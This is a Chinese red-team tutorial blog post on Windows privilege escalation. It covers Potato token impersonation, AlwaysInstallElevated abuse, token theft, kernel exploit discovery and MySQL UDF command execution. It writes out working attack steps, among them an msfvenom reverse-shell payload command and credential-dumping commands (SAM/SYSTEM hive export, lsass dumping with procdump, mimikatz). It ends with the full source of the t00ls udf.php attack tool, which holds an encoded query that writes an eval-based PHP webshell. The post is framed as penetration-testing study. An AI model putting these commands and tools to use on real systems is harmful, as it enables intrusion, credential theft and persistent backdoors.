小白白红队初成长（7）win权限提升

admin管理员组

文章数量:1567005

文章目录

• 1、前言
• • • 1.1、一些补充
• 2、Potato家族
• • • 2.1、补充
    • 2.2、利用前提（条件）
    • 2.3、简述JuicyPotato原理
    • 2.4、利用过程
• 3、系统错误配置提权-AlwaysInstallElevated
• • • 3.1、漏洞原理
    • 3.2、验证目标机器是否存在漏洞
    • 3.3、搭建漏洞环境（激活AlwaysInstallElevated）
    • • • 3.3.1、第一种方法
        • 3.3.2、第二种方法
    • 3.4、提权测试
• 4、令牌窃取
• • • 什么是令牌？
    • “令牌窃取”使用场景
    • 知识点补充
    • 实际测试
    • 其他补充
• 5、内核提权
• • • 5.1、寻找可利用漏洞
    • • • 5.1.1、手动寻找
        • 5.1.2、利用msf自动寻找
• 6、密码收集提权
• • • 6.1、浏览器密码收集
    • 6.2、注册表获取密码（还可以谷歌）
    • • • 6.2.1、方式一（需要已经有管理员权限）
        • 6.2.2、方法二（需要已经有管理员权限）
• 7、数据库提权
• • • 7、MySql UDF 提权
    • • • 7.1、理解
        • 7.2、利用前提
        • 7.3、版本特性（主要影响导出路径）
        • 7.4、手工复现
        • 7.5、UDF shell（脚本复现）
        • 7.6、其他问题
        • 7.7、udf.php脚本内容

1、前言

1.1、一些补充

• win系统不像Linux，是闭源的，所以就会提供很多底层的API来供开发人员来使用。

• 内核提权好用也容易出事。

    实际测试环境之中，一定要本地先测试对应poc/exp，不然有大概率会将目标机器打挂。
  

• win常用文件路径

    在内网渗透的时候可能会遇到一个问题：让目标机器去下载一个文件，显示下载成功，但是没有找到文件。
    
    排除机器不出网、软件被杀软干掉的情况，多半是当前所在路径没有权限。
  
    一般可以将文件下载到“  c:\Users\Public\ ”路径下。 
  

• 一个问题是，为什么大多的提权都是直接提权到system，而非admin（管理员）

    一般提权都是利用的已经存在缺陷的服务，而这些服务都是system权限
  
    另一个是通过一些内核漏洞，利用的是系统层面的缺陷，权限正常也是system
  

• 权限并非越高越好（主要看需求，不要非得到system）

    这里要注意的事情，一些情况下并非权限越高越好，
    
    一些图形化的操作，system权限反而不可以，需要进行降权操作，
    	
    比如CS截屏目标机器，实际项目中遇到一次system权限不可以，降权到admin解决。
  

2、Potato家族

2.1、补充

烂土豆家族的提权也是基于内核漏洞的提权，之所以把他单独拿出来说，
	
主要是因为这个家族的漏洞影响较大已经可以“ 自成一派 ”。

• win系统的“ 令牌 ”

    令牌可以简单理解为web端的cookie，用来标识用户的身份。
    	
    系统会基于这个令牌不同的身份，来分配不同的权限/功能。
  

• NTLM认证与Kerberos认证

    NTLM认证主要是基于工作组（点对点认证，A与B直接认证），
    	
    而Kerberos认证是基于域环境（基于中间人认证，C沟通A与B，A与B不直接联系）。
  

• 一句话简述“ 烂土豆家族 ”提权的原理

    通过各种⽅法在本地NTLM中继获取SYSTEM令牌，再通过模拟令牌执⾏命令。
  

烂土豆(Rotten Potato)提权是一个本地提权，是针对本地用户的，不能用于域用户。

2.2、利用前提（条件）

~ 获取⾼权限令牌--token

~ SeImpersonatePrivilege  或   SeAssignPrimaryTokenPrivilege 权限

当⽤户具有SeImpersonatePrivilege特权，

	可以调⽤CreateProcessWithTokenW以某个Token的权限启动新进程。


当⽤户具有SeAssignPrimaryTokenPrivilege特权，
	
	可以调⽤CreateProcessAsUserW以指定⽤户权限启动新进程。

Windows的Token分类：

Delegation token(授权令牌):⽤于交互会话登录(例如本地⽤户直接登录、远程桌⾯登录)
	
Impersonation token(模拟令牌):⽤于⾮交互登录(利⽤net use访问共享⽂件夹)
		
		
		简单理解，“ 授权令牌 ”需要密码验证登陆，“ 模拟令牌 ”不需要验证登录。
	

• 为什么大部分提权都是利用 SeImpersonatePrivilege 特权

    普通用户就可能存在“	SeImpersonatePrivilege	”权限
    	
    “ SeAssignPrimaryTokenPrivilege  ”权限，一般只有管理员才拥有
  

• 如何知道当前用户拥有什么权限

    当前用户拥有什么权限可以使用命令“ whoami /priv ”来查看。
  

2.3、简述JuicyPotato原理

一句话小结：

在NTLM认证的过程之中，通过windows API实现中间人共计（NTLM重放）获得令牌，

使用可以“ 模仿安全令牌权限 ”的账户拿着得到的令牌来执行“ system权限 ”的命令。

以上仅限笔者个人理解，欢迎大佬补充指导。

1、欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。


2、对这个认证过程使用中间人攻击（NTLM重放），为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。

这个过程是通过一系列的Windows API调用实现的。


3、模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。

一般大多数的服务型账户（IIS、MSSQL等）有这个权限，大多数用户级的账户没有这个权限。

最后的这个账户问题如何理解：
	
	用创建的普通用户执行漏洞exp，失败。
		
	在服务器上的web服务反弹了shell在执行，成功。

所以，利用的关键是服务型账户权限。

• 在说一些哪些⽤户拥有SeImpersonatePrivilege权限：

   本地管理员账户和本地服务帐户（不包括管理员组普通账户）
  
   由SCM（服务控制管理器）启动的服务
    
   由组件对象模型(COM)基础结构启动的并配置为在特定帐户下运⾏的COM服务器
  

• Windows服务常用登录账号：

  NT AUTHORITY\System
    
  NT AUTHORITY\Network Service
  
  NT AUTHORITY\Local Service
  

  常⻅的LocalService⽤户，例如IIS或者sqlserver的⽤户。

后续关于烂土豆的修复。当时官方的方法简单粗暴：

不允许利用“ DCOM ”服务进行本地认证

安全研究者们为了绕过这个限制并能做本地令牌协商，

在⼀台远程主机上的135端⼝做流量转发，

将其转回受害者本机端⼝，并写了⼀个恶意RPC OXID解析器。

通过“ 迂回 ”思路再次达到了“ 提权 ”的目的。

在整体过程之中，对于如笔者这样的安全从业者来说，

这种“ 迂回 ”的思路相对于“ 烂土豆 ”的原理，个人认为更重要一些。

2.4、利用过程

其实这个过程对比原理，就简单多了。
	
直接在msf上运行 ms16-075 即可。

当然，GitHub上也有很多大佬写好的，如：

https://github/BeichenDream/BadPotato#badpotato

这里说一下，其实“ 原生的 ”利用exp还是挺麻烦的，以上都是已经经过前辈们优化过得，

所以才可以“ 一键提权 ”。

3、系统错误配置提权-AlwaysInstallElevated

3.1、漏洞原理

AlwaysInstallElevated是注册表的一个键值，当其值为1的时候，

普通用户也可以用system权限安装msi（Microsoft Windows Installer）程序。

3.2、验证目标机器是否存在漏洞

查看目标机器是否存在该漏洞：

直接运行：
	
	reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
	
	reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

下图这种是不存在“ 错误配置 ”的情况，

假设存在一般是这种，

3.3、搭建漏洞环境（激活AlwaysInstallElevated）

3.3.1、第一种方法

win + r 运行“ gpedit.msc ”，进入下班路径：

	计算机配置–管理模板–Windows组件–Windows Installer

点击“ 始终以提升的权限进行安装 ”，选择“ 已启用 ”，点击确定即可

继续进入以下路径：
	
	用户配置–管理模板–Windows组件–Windows Installer，

点击“ 始终以提升的权限进行安装 ”，选择“ 已启用 ”，点击确定即可

此时再次查看注册表，已经开启，

3.3.2、第二种方法

直接在cmd中修改注册表的数值

reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

注意的是，cmd执行此命令需要拥有以下权限：

SeRestorePrivilege

SeTakeOwnershipPrivilege

使用whoami /priv可以查看权限。

搭建漏洞环境的时候，直接以管理员的身份打开cmd执行即可

执行完毕之后再次查看注册列表的值，

3.4、提权测试

对于该漏洞，通常情况下，先对注册表项进行判断，

如果满足条件(存在两个注册表项)，就可以利用AlwaysInstallElevated提权了。

使用msf生成木马，

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.110 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o shell.exe

然后开启监听，吧唧下载生成的木马然后执行，kali收到回话，目前权限不是system，

测试是否存在“ 配置不当 ”，

经过十几分钟的等待，终于提权成功，

除了这种方式还有别的方式，笔者这里暂不罗列出了。

其原理都一致。

参考文章:

https://blog.csdn/bring_coco/article/details/113287835

https://www.freebuf/articles/network/250827.html

4、令牌窃取

首先声明：

该操作多用来进行“ 降权 ”处理，并不能进行“ 提权 ”。

什么是令牌？

每一个windows用户登陆计算机后都会生成一个Access Token。

其作用直接理解为web上的token。A用户登录之后就会产生A令牌，B用户则B令牌。

当前系统中的某个进程或线程能访问到什么样的系统资源,完全取决于你当前进程是拿着谁的令牌

理论而言，A令牌创建的进程，B令牌无法访问，反而也一样。
	
但是假设A用户是管理员权限，B用户是普通权限，那么A用户则可以获取B令牌。

即默认情况下，用户只能列举出当前用户和比当前用户权限更低用户的令牌

“令牌窃取”使用场景

说完令牌的定义，接着说说什么样的场景下，要用到“ 令牌窃取 ”

当我们通过一些漏洞，如ms17-010拿下了system权限。但是无法通过猕猴桃抓到“ admin ”用户的明文账户。

并且有一些操作必须需要“ admin ”用户权限，这个时候，就可以进行“ 令牌窃取了 ”

	
	当然，有当前机器的system权限，不但可以列举出本地管理员的账户，
	
	同样可以列举出“ 域管理员 ”的令牌。（假设域管登录过，且机器未重启）

知识点补充

疑问：A用户登录了系统，然后注销，问令牌还存在机器上吗？

存在，
	
	这一点与web略微不同，win系统即使用户注销登录，但其token仍然会保留在机器上。

这里就得说一下，win系统上主要有两类令牌，分别是

	Delegation Token：授权令牌，它支持交互式会话登录 (例如本地用户直接登录、远程桌面登录访问)

	Impresonation Token：模拟令牌，它是非交互的会话 (例如使用 net use访问共享文件夹)。

当用户注销之后，令牌会从Delegation Token变为Impresonation Token。

就理解而言，我们只需知道：

只要用户登陆过当前机器，机器不重启，该用户的令牌会一直存在

实际测试

可用于令牌窃取的工具有很多，

例如cs、msf、empire等等，或者我们也可以直接使用现成的incognito.exe。

下面直接上大佬的截图，笔者就不重复造轮子了。

命令：

use incognito

list_tokens -u

当前shell用户只是一个普通的域用户，
	
权限很低，所以令牌能罗列的只有当前用户本身。

接下来换一个System的shell，再次尝试：

这次就可以明显看出我们手中的令牌多了，但是还是没有出现域管的令牌，
	
	为什么呢？

因为在做本次实验之前，大佬将机器进行了重启，并且到现在并没有登录域管账号。

	那接下来，我们再登录一下域管账号，再次查看令牌个数：

可以看到在登录域管账号之后，我们才会有相应的令牌。

利用命令impersonate_token 'HACKERGU\Administrator'，使用域管令牌，如图：

这里需要注意的是，

使用令牌时，最好使用引号将其括起，
	
因为某些令牌的名字中间含有空格，可能会报错。

	另外大佬文章中说“ 在输入主机名\用户名时，需要输入两个反斜杠(\\) ”，

经过测试，貌似是不用两个反斜杠，一个即可。

如果我们不需要该权限了，可使用命令rev2self，返回原本的权限。

其他补充

以下内容也来自前辈们的文章，笔者这里就不重复造轮子了。

除了使用 incognito 进行窃取令牌，也可以从进程里窃取令牌，首先使用 ps 命令列出进程 查看进程

用户使用 steal_token pid 窃取令牌就有对应的权限，这里我们尝试窃取域管理员的进程
	
	steal_token 2380

参考文章：

https://hackergu/powerup-stealtoken-rottenpotato/

https://coar.wang/article/85

https://www.freebuf/articles/network/318426.html

5、内核提权

内核提权这个涉及到底层原理的话，还是比较费事的，
		
		但是大部分的情况下，都是比较简单，

要么能打大成功，要么失败，要么不能打。

		另外很多知名的漏洞MSF之中都会保存。

5.1、寻找可利用漏洞

5.1.1、手动寻找

其实方式也很简单，使用“  systeminfo  ”命令来看看打了哪些补丁，
	
然后将这些补丁号复制出来，到一些在线提权辅助页面查询，
	
看看有哪些可提权的漏洞没有修复。

将得到的补丁信息复制：

       [01]: KB2534111
       [02]: KB2999226
       [03]: KB958488
       [04]: KB976902

然后我们找到当前系统可以利用的exp，
	
可以直接去github上搜索指定利用工具，也可以去一些前辈总结好的项目：

	https://github/SecWiki/windows-kernel-exploits
	
注意的是，下载exp之后，一定要本地测试！！！
	
	剩下的执行阶段就不演示了。

类似的在线提权辅助网站：

http://blog.neargle/win-powerup-exp-index/
	
http://bugs.hacking8/tiquan/

https://tools.zjun.info/getmskb/

参考文章：

https://www.freebuf/articles/247980.html

5.1.2、利用msf自动寻找

前提有一个MSF的shell，

将当前回话放到后台，搜索提权模块，配置完毕，运行：

	msf6 exploit(multi/handler) > search sugg

	msf6 exploit(multi/handler) > use 3
	
	msf6 post(multi/recon/local_exploit_suggester) > set session 1
	
	msf6 post(multi/recon/local_exploit_suggester) > run

然后等待几分钟，假设搜索过程中断了，可以再次运行一次。

最后得到结果，

这里需要注意的是，并非列出的所有选项都可以提权成功。

这里笔者就使用以下模块进行测试，
	
	exploit/windows/local/bypassuac_eventvwr

看样子，bypassuac 成功，
	
在查看当前权限，然后使用“ getsystem ”直接提到system权限

这里说一下，在bypassuac之前，直接使用“ getsystem ”无法提权成功的，

6、密码收集提权

一般收集密码都是通过“ 浏览器 ”或者“ 注册列表 ”，

6.1、浏览器密码收集

先简述笔者的观点：
	
	收集浏览器密码的工具几乎会一直存在，因为浏览器本身会将密码存储在机器之上。
	
	而对于攻击者而言，难度仅仅是破解浏览器加密算法的时间而已。
	
	从浏览器的角度出发，这不应该被称之为漏洞。安全性与体验性总是存在反比，
		
	当大多数人选择了“ 方便 ”那么，安全性的“ 牺牲 ”是一定的。

后续补充：

	浏览器这边，几乎每个一段时间随着浏览器的升级，
	
	之前的一些老的工具可能都无法得到对于的密码，这个可以随用随找。

不多说，直接上实验工具，

	https://github/QAX-A-Team/BrowserGhost/releases/tag/1

将工具下载，然后上传到目标机器，直接运行即可。

	这里要注意到工具的“ 面纱 ”情况，

当然，类似的软件还有很多，各位看官自行寻找即可。

6.2、注册表获取密码（还可以谷歌）

经过笔者测试，感觉以下内容更偏向于“ 权限维持 ”或者“ 丰富战果 ”阶段，
	
对于直接提权，作用不是太大。	

更多的是，在信息收集翻找密码的时候，通过注册表收集。

6.2.1、方式一（需要已经有管理员权限）

优点：

动静较小，不用额外下载程序。

缺点：

获取到的数据需要进行解密，

使用背景：

	在不允许上传或者使用 mimikatz 时，可以通过保存注册表，
	
		到本地来读 Windows Hash 密码。

	这种方法更隐蔽，缺点是要解 Hash。

操作过程：

管理员权限执行 cmd，输出以下两条命令：

	reg save HKLM\SYSTEM D:\sys.hiv
	
	reg save HKLM\SAM D:\sam.hiv

执行完在 D 盘生成生成两个文件

sys.hiv、sam.hiv

将这两个文件，下载到本地猕猴桃同文件夹，

打开猕猴桃输出以下命令，直接兴奋：

	lsadump::sam /sam:sam.hiv /system:sys.hiv

将读取到的ntlm可以去一些在线破解网站：
	
	https://www.cmd5/

6.2.2、方法二（需要已经有管理员权限）

优点：

在可以读取明文的系统，可以直接将明文读取到。

缺点：

需要将“ Procdump ”程序上传到目标机器，
	
产生的“ lsass.dmp ”文件较大（比如80M）

思路：

就是通过系统自带的procdump去下载存储用户名密码的文件
	
（应该不能那么说这个文件，但是这样理解没问题），然后用猕猴桃读取。

procdump的下载：

procdump是微软提供的工具，但是很多电脑没有自带，需要进行本地下载之后上传到目标机器

下载地址：
		
		https://docs.microsoft/zh-cn/sysinternals/downloads/procdump

具体操作：

直接在Procdump文件夹下，执行以下命令即可，

	Procdump.exe -accepteula -ma lsass.exe lsass.dmp

注意的是，以上命令需要管理员权限运行，普通用户直接运行会报错：

然后将生成的“ lsass.dmp ”文件下载到本地，放到猕猴桃文件夹下，按照顺序执行以下命令：
	
	sekurlsa::minidump lsass.dmp
	
	log			、、该命令是输出日志，非必选项
	
	sekurlsa::logonpasswords

这样直接和猕猴桃读取效果几乎一致，还是比较理想的。

参考文章：

https://www.secrss/articles/24903

https://wwwblogs/nul1/p/9285814.html

https://www.adminxe/790.html

7、数据库提权

7、MySql UDF 提权

udf提权，先确认数据库是不是root权限很重要，
	
⾄少得⽐中间件权限⾼，才有⽤这个⽅法进⾏提权的必要。
	
	假设目标使用的是PHP study搭建的网站的话，几乎可以不用尝试MySQL提权了。
		
	这种情况下，MySQL与apache的权限几乎是一致的。

7.1、理解

简单说下笔者的理解，
	
理想环境下，数据库是以root用户启动的。其数据库进程拥有高权限，

但是正常情况下，MySQL数据库无法直接执行系统命令，

不过MySQL提供了，自定义函数的功能，我们通过自定义的函数就可以执行系统命令了。

7.2、利用前提

当前数据库用户为root权限

mysql配置文件secure_file_priv项设置必须为空
	
	为NULL或/tmp/等指定目录都不行，主要原因是这样无法将自定义udf文件导出到指定位置，
	
	而不将udf文件导出到指定位置，就无法加载自定义的函数，即无法自定义函数，即无法执行命令。

补充：

其实就笔者理解，有时候不是root权限也可以。主要原因是，其要操作一些文件等。
	
	有些用户不是root，但是拥有对应操作文件的权限也可以进行提权。
	
	但是话又说回来，假设用户不是root，而是别的用户，即使提权成功，
	
	获取到的也是一个低权限，则提权的意义也不是太大。		

MySQL数据库有各种权限，但是默认root用户拥有所有权限。

且提权成功之后，是root权限，所以多数文章都是建议在root用户的情况下在进行提权。

问题：

MySQL 如何知道当前用户是什么？

		select user();

如何知道当前用户的有哪些权限？
			
		select * from mysql.user where user = substring_index(user(), '@', 1)
	
	有的文章说是下边这句话，但是经过笔者实操发现，下边的会报错，但是也贴出语句吧。
				
		select * from mysql.user where user = substring_index(user(), '@', 1)\G;

如何知道当前数据库，“ secure_file_priv ”的值？
	
		show global variables like 'secure_file_priv'

	后边还有别的权限，Y即代表当前用户拥有该选项的权限

为null说明，MySQL文件夹下my.ini配置文件内，没有“ secure_file_priv ”这个配置。

实战这样的话，除非可以修改my.ini文件，不然几乎凉凉。

7.3、版本特性（主要影响导出路径）

udf提权操作中的一个步骤是将我们的udf（动态链接库）文件上传到mysql的检索目录中，
	
Windows系统下mysql各版本的检索目录有所不同：

1、 Mysql < 5.0

导出路径随意。

2、 5.0 <= Mysql < 5.1

Win2000导出路径： C:/Winnt/udf.dll

其他Windows系统导出路径均为：C:/Windows/udf.dll或C:/Windows/system32/udf.dll

3、 Mysql >= 5.1

Mysql安装目录的lib\plugin文件夹下，

如果mysql安装时不选择完整安装或使用集成开发环境等情况下lib\plugin目录大概率是不存在的，需要自行创建。

这里需要知道，MySQL的安装路径等信息，具体语句如下：

select @@basedir;   					 # 获取数据库安装目录

show variables like '%plugin%';			 # 查看plugin路径。
	
		、、这个引号为英文，中文会报错，单引号还是双引号都可以。

	再次提醒，这个引号为英文，中文会报错，单引号还是双引号都可以。
		
	还有一个问题是，经过笔者实际测试，即使将对应的plugin文件夹删除，
		
	在执行该命令，其结果不变。

7.4、手工复现

上边查询secure_file_priv属性为空，不能提权，直接手动添加属性。。。

然后重启mysql，再次查询，
	
	不重启没效果

然后一个比较有意思的问题，假设mysql文件夹下，没有lib文件夹，
	
通过网上流传的“ NTFS ADS流创建文件夹 ”手工成功率很低，具体原因笔者也未找到，

只能说实战下，可以尝试尝试。或者使用webshell来创建对应的文件夹。
	
再或者尝试使用下边“ UDF shell ”中的脚本来创建文件夹（经过测试发现手工无法创建，但是这个脚本成功了）

NTFS ADS流创建文件夹语句：

select 'xxx' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib::$INDEX_ALLOCATION';
	
	、、来创建lib文件夹

select 'xxx' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin::$INDEX_ALLOCATION';

	、、来创建plugin文件夹

经过测试，这种报错是成功的报错，

这种提示权限不足的是无法创建的，

接着来写入udf.dll文件，具体代码太长这里直接搬来“ 前辈 ”写好的页面，
	
	https://www.sqlsec/tools/udf.html

记得修改最后的文件路径，

想了一下保险起见，还是留一下代码吧

SELECT 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INTO DUMPFILE 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\\udf.dll';

从webshell上已经写入成功，

接着来创建自定义的函数，

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

导入成功后查看一下 mysql 函数里面是否新增了 sys_eval：

select * from mysql.func;

接着就可以来执行系统命令了，

select sys_eval('whoami');

最后想要删除自定义的“ 命令执行 ”函数，

drop function sys_eval;

删除之后，再次执行命令，

7.5、UDF shell（脚本复现）

假设我们拿到webshell，通过配置文件得到mysql的账户密码。

但是目标mysql无法通过外部访问，这个时候一些网页在线脚本就显得很重要。
	
注意的是，经过测试，该脚本成功的概率也不高，
	
对于这种情况如何进行手工，建议参考：
	
	https://www.sqlsec/2020/11/mysql.html#toc-heading-19

脚本下载地址：

https://github/echohun/tools/blob/master/%E5%A4%A7%E9%A9%AC/udf.php

安全期间，脚本内容也复制一下，放在文章末尾

将脚本文件通过webshell上传到网站根目录，输入账户密码进行连接，

登录之后，出现这个一般是没有lib目录，点击箭头所指来创建lib文件夹，

创建完毕文件夹，剩下的就是导入dll文件，创建自定义函数，执行系统命令。

直接按照下图顺序执行即可。

注意的是：

假设使用默认的脚本在导出udf.dll文件之后，创建自定义函数时报错。

将此处的dll文件替换为上边我们手工成功的那些dll，或者直接从这复制，

	https://www.sqlsec/tools/udf.html

然后用webshell，将已经创建的 udf.dll 文件删除，在使用修改后的udf66.php文件导出。

然后创建自定义函数，和执行命令的sql语句都直接在下班这个框中执行即可。

这里就是相当于脚本充当phpmyadmin的作用，加上创建lib\plugin\文件夹的作用，

其实最后实际测试发现，

连上述的16进制dll都不用替换，直接将正确的16进制在下边的框内执行即可。

	CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

然后查询，

在然后执行命令，

select sys_eval('whoami');

7.6、其他问题

使用谷歌浏览登录phpmyadmin出现这个告警，

 Failed to set session cookie. Maybe you are using HTTP instead of HTTPS to access phpMyAdmin.

解决方法：

换一个浏览器（ie、火狐测试都）登录成功；
	
谷歌浏览器换无痕页面登录也可以成功。

参考：

https://blog.csdn/GX_1_11_real/article/details/95052475
	
https://www.freebuf/articles/web/264790.html
	
https://www.freebuf/articles/database/291175.html

https://www.sqlsec/2020/11/mysql.html#toc-heading-11

7.7、udf.php脚本内容

<?php
//t00ls...................
session_start();?>
<html>
<head>
<title>T00ls UDF.PHP</title>
<style type="text/css">
input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
</style>
<script type="text/javascript">
function outfile(){
	document.getElementById("sql2").value= unescape("select%20%27%3C%3Fphp%20eval%28%24_POST%5B%5C%27pass%5C%27%5D%29%3F%3E%27%20into%20outfile%20%27d%3A%5C%5Cninty.php%27");
}
function loadfile(){
	document.getElementById("sql2").value = unescape("select%20load_file%28%27c%3A%5C%5Cboot.ini%27%29");
}
</script>
</head>
<body>
<?php
error_reporting(0);
if (isset($_REQUEST['action']))
	$action = $_REQUEST['action'];
else
	$action = 'vConn';
switch ($action) {
	case 'vConn':
		vConn();
		break;
	case 'conn':
		conn();
		break;
	case 'exec':
		execsql();
		break;
	case 'install':
		install();
		break;
	case 'copy':
		cp();
		break;
	case 'cplug':
		cplug();
		break;
	case 'logout':
		logout();
		break;
	case 'func':
		func();
		break;
}
function vConn() {
	echo 'by ninty http://www.t00ls/<form action="" method="post"><table><input type="hidden" name="action" value="conn">
<tr><td>ip:</td><td><input type="text" name="host" value="localhost"></td></tr><tr><td>uid:</td><td><input type="text" value="root" name="uid"></td></tr><tr><td>pwd:</td><td><input type="text" name="pwd"></td></tr><tr><td>db:</td><td><input type="text" name="db" value="mysql"></td></tr><tr><td><input type="submit"/></td><td>&nbsp;</td></tr></table></form>';
}
function func(){
	$conn = conn(false);
	mysql_select_db('mysql',$conn);
	mysql_query('CREATE TABLE `func` ( `name` char(64) collate utf8_bin NOT NULL default \'\', `ret` tinyint(1) NOT NULL default \'0\', `dl` char(128) collate utf8_bin NOT NULL default \'\', `type` enum(\'function\',\'aggregate\') character set utf8 NOT NULL, PRIMARY KEY (`name`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_bin COMMENT=\'User defined functions\'');
	if (mysql_errno($conn) != 0) {
		echo mysql_error() . '<br/>';
	}
	echo 'Create mysql.func success !';
	mysql_close($conn);
}
function conn($close = true) {
	if (isset($_SESSION['host'])) {
		$host = $_SESSION['host'];
		$uid = $_SESSION['uid'];
		$pwd = $_SESSION['pwd'];
		$db = $_SESSION['db'];
	} else {
		$host = $_POST['host'];
		$uid = $_POST['uid'];
		$pwd = $_POST['pwd'];
		$db = $_POST['db'];
	}
	$conn = mysql_connect($host,$uid,$pwd);
	if (!$conn) {
		echo mysql_error().'<br/>';
		vConn();
		exit();
	} 
	mysql_select_db($db,$conn);
	if (mysql_errno($conn) != 0) {
		echo mysql_error().'<br/>';
		vConn();
		exit();
	}
	$_SESSION['host'] = $host;
	$_SESSION['uid'] = $uid;
	$_SESSION['pwd'] = $pwd;
	$_SESSION['db'] = $db;
	//mysql_query('set names utf8');
	showM($conn,$close);
	return $conn;
}
function logout(){
	unset($_SESSION['host']);
	unset($_SESSION['uid']);
	unset($_SESSION['pwd']);
	unset($_SESSION['db']);
	unset($_SESSION['notsame']);
	unset($_SESSION['over51']);
	unset($_SESSION['plugindir']);
	$url = $_SERVER['PHP_SELF']; 
	$filename = end(explode('/',$url));  
	echo '<script>location.href = "'.$filename.'?rn="+Math.random()</script>';
}
function showM(&$conn,$close = true){
	echo '<center><b>t00ls UDF.PHP</b></center>';
	echo '<form action="" method="post"><input type="hidden" name="action" value="logout"><input type="submit" value="Logout"></form>';
	echo '<div style="border:solid 1px #333;background-color:#999;padding:4px">';
	$sql = 'select concat(\'<b>user()</b>:\',user()) as m union select concat(\'<b>database():</b>\',database()) union select concat(\'<b>datadir</b>:\',@@datadir) union select concat(\'<b>basedir</b>:\',@@basedir) union select concat(\'<b>version()</b>:\',version()) ;';
	$meta = mysql_query($sql,$conn);
	$tmp = 1;
	while ($row = mysql_fetch_array($meta,MYSQL_ASSOC)) {
		echo $row['m'];
		if ($tmp == 1) {
			$tmp = 2;
			$h = substr($row['m'],strpos($row['m'],'@')+1);
			if ($h != 'localhost') {
				echo ' <b><i><font color=green>[web and db is not the same server.]</font></i></b>';
			$_SESSION['notsame'] = 'true';
			}
		}
		echo '<br/>';
	}
	echo '<b>plugin_dir</b>:';
	$meta = mysql_query('show variables like "plugin_dir"');
	if (mysql_num_rows($meta)==0) {
		echo '<font color=white>mysql is under 5.1 , ';
		if (!isset($_SESSION['notsame']))
			echo ' u can dump udf.dll to any directory in follow paths';
		echo '</font>';
	} else {
		//over 5.1
		$_SESSION['over51'] = 'true';
		$row = mysql_fetch_row($meta);
		$_SESSION['plugindir'] = str_replace('\\','\\\\',str_replace('/','\\',$row[1])).'\\\\udf.dll';
		echo '<font color=white>'.str_replace('/','\\',$row[1]).'</font>';
		echo ' (mysql over 5.1, udf.dll can only dump to plugin_dir) ';
		if (isset($_SESSION['notsame'])) 
			echo ' <font><b><i>[maybe dump dll will be failed!]</i></b></font>';
		else {
			if (!file_exists(str_replace('/','\\',$row[1]))) 
				echo ' <a href="?action=cplug&dir='.base64_encode(str_replace('/','\\',$row[1])).'">Create PluginDir</a>';
			else 
				echo ' exists!';
		}
	}
	echo '<br/>';
	if (!isset($_SESSION['notsame']) && !isset($_SESSION['over51']))
		echo '<b>path</b>:<font color=green><b>'.getenv('path').'</b></font><br/>';
 	$meta = mysql_query('select 1,1,1,1 from mysql.user union select * from mysql.func');
	if (mysql_num_rows($meta)==0)
		echo '<b>Mysql.Func</b> : <font color=white><b><i><font color=red>dont exist!</font></i></b></font> must <a href="?action=func">create</a> mysql.func first!';
	else 
		echo '<b>Mysql.Func</b> : <font color=green>exist!</font>';
	echo '<br/>';
	echo '<b>grants</b> : <font color=white>';
	$meta = mysql_query('show grants;',$conn);
	while ($row = mysql_fetch_row($meta)) {
		echo $row[0];
	}
	echo '</font>';
	echo '</div>';
	if ($close)
		mysql_close($conn);
	echo '<br/>';
	if (isset($_POST['path'])) {
		$path = $_POST['path'];
		if (get_magic_quotes_gpc()) 
			$path = stripslashes($path);
	}
	else
		$path = isset($_SESSION['plugindir']) ? $_SESSION['plugindir'] : 'c:\\\\windows\\\\system32\\\\udf.dll';
	echo '<div style="border:solid 1px #333;background-color:#999;padding:4px"><form action="" method="post"><input type="hidden" name="action" value="install"><input type="text" name="path" size="60" value="'.$path.'"> <input type="submit" value="Dump UDF"></form>';
	echo '<form action="" method="post"><input type="hidden" name="action" value="exec"><input type="hidden" name="dump" value="d"><input type="text" name="sql" size="60" value="CREATE FUNCTION shell RETURNS STRING SONAME \'udf.dll\'"> <input type="submit" value="Create Function"></form>';
	echo '<form action="" method="post"><input type="hidden" name="action" value="copy"><input type="text" value="c:\\\\WINDOWS\\\\repair\\\\sam" name="source" size=30>  <input type="text" name="target" size=30> <input type="submit" value="Copy"> <font color=white>please convert \\ to \\\\</font></form></div>';
	if (isset($_POST['sql']))
		$sql = $_POST['sql'];
	else
		$sql = 'select * from mysql.user';
	if (get_magic_quotes_gpc())
		$sql = stripslashes($sql);
	if (isset($_POST['dump']))
		$sql = 'select shell(\'cmd\',\'whoami\')';
	echo '<form action="" method="post"><input type="hidden" name="action" value="exec"><textarea id="sql2" cols="100" rows="5" name="sql">'.$sql.'</textarea><br/><input type="submit" value="Mysql_query"> <input type="button" value="Load_File" onclick="loadfile()"> <input type="button" value="Into OutFile" onclick="outfile()"></form>';
}
function cplug(){
	$path = $_GET['dir'];
	$path = base64_decode($path);
	$arr = explode('\\',$path);
	$p = '';
	$err = '';
	for ($index = 0,$count = count($arr);$index<$count;$index++) {
		$p .= ($arr[$index] . '\\');
		if (!file_exists($p)) {
			if (!mkdir($p)) {
				$err = 'create '.$p.'failed !';
				break;
			}
		}
	}
	conn();
	if ($err != '')
		exit($err);
	if (file_exists($path))
		echo 'plugin_dir create success !';
	else
		echo 'plugin_dir create failed !';
}
function execsql() {
	$conn = conn(false);
	$sql = $_POST['sql'];
	if (get_magic_quotes_gpc())
		$sql = stripslashes($sql);
